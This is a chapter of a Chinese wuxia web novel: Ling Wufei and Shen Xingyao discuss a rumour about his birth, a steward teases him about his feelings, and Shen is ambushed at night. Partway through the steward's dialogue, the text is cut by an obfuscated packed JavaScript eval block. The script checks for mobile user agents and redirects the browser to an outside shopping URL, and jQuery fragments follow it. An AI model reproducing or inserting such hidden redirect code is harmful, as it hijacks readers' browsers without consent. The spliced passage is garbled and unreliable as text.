“不过江湖之中,时有谣传,说我们家公子是白家娘子与老主人的私生子。”王管家走近二人,听到这番谈话,不由插嘴道,“公子,这种闲话,你可不能信啊。” “这我当然知道。”凌无非略一点头。 “白家娘子?那又是谁?”沈星遥道。 “钧天阁,白落英白女侠。”凌无非道,“她曾与我父亲有婚约。” “什么婚约?”沈星遥目露疑惑。 琼山派向来不与世俗中人为伍,自然也不会指导教养门中女弟子礼教为何物。凌无非见她不懂,便解释道:“这你有所不知,有些江湖名门,世代交好的两家,尚在腹中之时,便会定下婚约,除非同为男孩或同为女孩,才不必履行此事。” “这都没生下来,便要被父母决定与何人共度余生?”沈星遥摇头,颇为不解,“我想不明白。” 凌无非道:“白女侠与我父亲都不满意这桩婚事,一直以来,都以兄弟相称,至于我娘,她从小与我爹一同长大,感情深厚,可碍于之前的婚约,屡受阻碍。据说,后来还是由白女侠亲自出面解除婚约,我爹娘才得以修成正果。” “既然这样,那些谣传你身世之人,未免太龌龊了,”沈星遥道,“三人之间分明坦坦荡荡,却被这般恶意猜测,传这谣言之人,舌头真该挨刀子。” “我也是这么想,”凌无非说到此处,唇角微微扬起,道“罢了,都是些陈年旧事,不提了。” “是我不该多问,令你伤心了。”沈星遥站起身来,道,“我想,事情既已到了这个地步,我们姐妹也不便再多叨扰,不如……” “你要走吗?”凌无非心下一惊,连忙起身问道。 “你还有这么多事要料理,我和阿菀,的确不宜再麻烦你了。”沈星遥说着,便欲转身。 “可我还有些东西想要给你看看,”凌无非连忙按下她的手,道,“只是都被我带去了金陵,你若真的着急要走,我可以立刻同你们启程。” “你是说……” “要治好许姑娘的失忆,只有寻根究底,才有机会。”凌无非道。 “可你现在要是走了,这里怎么办?”沈星遥问道。 “藏书阁已毁,埋下火药之人的目标,显然不是他们,”凌无非飞快扫了一眼庭内众人,道,“接下来的事,也有管家安排,你不必担心。” “这……”沈星遥本还要说些什么,却见徐菀凑了上来,一面挠着胳膊,一面问道,“师姐,就算要走,也得先把身上洗干净啊。忙了一整天,这又是汗,又是满身灰的……好脏啊。” “这个好办。”凌无非微微一笑,随即转向王管家,唤了一声。 “我这就吩咐下去。”王管家应声走开,还叫走了几位婢女。 等到所有人都离开,凌无非又看了一眼地上的废墟,忽觉面颊发痒,便随手抹了一把,摊开掌心一看,却是黑漆漆一片,沾满了厚重的灰尘与烧焦的木屑。 他摇头一笑,这才感到一丝倦意,便唤小厮备了热水,在房中清洗整理干净。 却在这时,房门被人敲响,门外传来了王管家的声音:“公子可睡下了?” 凌无非即刻上前开门,只见王管家已换了身干净的衣裳站在门外,便即问道:“她们没说要走了?” “那位徐姑娘说累了,想休息一晚再走,沈姑娘便依了她,”王管家呵呵笑道,“想来这会儿已经睡下了。” “那就好。”凌无非点了点头,转身走到桌旁坐下。 “我从前还以为,公子会带回襄州的姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150368|150305||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘,会是江家少主,”王管家一面进屋,一面说道,“怎么也没想到,会是这样一位姑娘。” “你想太多了,”凌无非道,“江澜只是我师姐,我同她也绝不可能……哎?你这话是什么意思?” “公子总不至于对我这把老骨头也扭扭捏捏,不肯言明吧?”王管家乐呵呵道,“沈姑娘一说要走,您那紧张的模样,除了十几年前秦掌门要带您回金陵,同家主告别的时候,我可再没见过第三回。” 凌无非闻言,一时懵住,过了片刻,忽然睁大双眼:“您是说……”说这话时,他的神情仍有些恍惚,显然还未完全回过神来。 他又懵懵懂懂想了许久,方有所悟:“听您这么一说,我好像是有点……那……” 凌无非神情忽然多出几分局促,一把握住王管家的手,直视他双目,认真问道:“那么王叔……我……我该怎么做,才不会显得唐突?” “哦?”王管家听罢一愣,随后朗声笑了出来,“这姑娘家的心思,我也不算十分明白,不过我还记得,家主打算给夫人解除奴籍之前,曾送过她一支珠钗。若是公子知道沈姑娘喜欢什么东西,投其所好,或许便有机会,把想说的话都告诉她。” 凌无非听到这话,不禁蹙起了眉。 夜色静谧,院子里安安静静,连声虫鸣也不曾响起。 沈星遥想起近期经历的种种,满心疑窦想不透彻,越是想着,便越是精神,便翻身下床走到院里,然而没走出几步,又看到临院里负责守卫的小厮正来回巡视,未免惊动他们,她仔细想了想,便索性翻出院墙,到外边找地方清静。 她离开宅邸,来到一片空地,找到一处凉亭,正待歇息之时,却忽然听到耳畔传来利器破空的声响。 沈星遥觉察劲风,当即一跃而起,旋身闪避,同时,伸手两指夹住那凌空而来的暗器,却发现是一枚狭长而尖锐的石块。 她眉心一紧,回头一看,只瞧见一个人影从一棵老树后走了出来。 此人的打扮可以说是异常奇特,他身上裹着一块黑布,从头到尾一直裹到腰下,两条腿上也裹着深色的布条,更奇怪的是,从黑布凹凸不平的褶皱纹路,便能看出此人在这块黑布底下还穿了衣裳。 既然是有准备的偷袭,怎会装扮得如此草率? “什么人?”沈星遥眉心一紧。 那人并不答话,径自便扑了上来,挥掌做刃,朝她颈侧而来。沈星遥翻掌隔开,与之缠斗在了一处,约莫斗了三五个回合,却又听闻一声怪响,当即扭头去看,却见方才这人藏身的老树底下又多了一人——一个浑身黑衣,穿着斗篷的人,与当初在玉峰山刁难徐菀的女子,打扮一模一样,却一动不动。 沈星遥心下大惊,然而眼前那蒙面人却趁她不备,一连几掌俱是死手。 她为速战速决,朝着那人当胸拍出一掌。那蒙面人竟也不躲闪,中掌之后,便一只断了线的纸鸢,斜斜飞而出,撞上一块棱角锋锐的岩石,当即倒地,不省人事。 到了此刻,树下那人也还是保持着一开始的姿态,全无动作。 “你到底是谁?”沈星遥缓步逼近树下那身穿斗篷之人,问道。 恰在此时,一阵风吹了过来,将那人头顶的兜帽掀开,露出真容。沈星遥看清来人面目,身形猛然一滞,一时惊呼出声:“双双?” 沈星遥心下蓦地腾起一丝不祥的预感,连忙跑到另一名蒙面人跟前,一把撕下那块蒙住她头脸的黑布。 果然是朱碧! “师姐!”沈星遥连忙试探二人鼻息,确认尚有呼吸之后,脚下忽的一软,险些跌坐在地。 “到底是谁?背地里使这些阴损招数,究竟想干什么?”她对着苍茫夜色,高声呼喊,却只能听到冰冷的风声。 哪里还有其他人?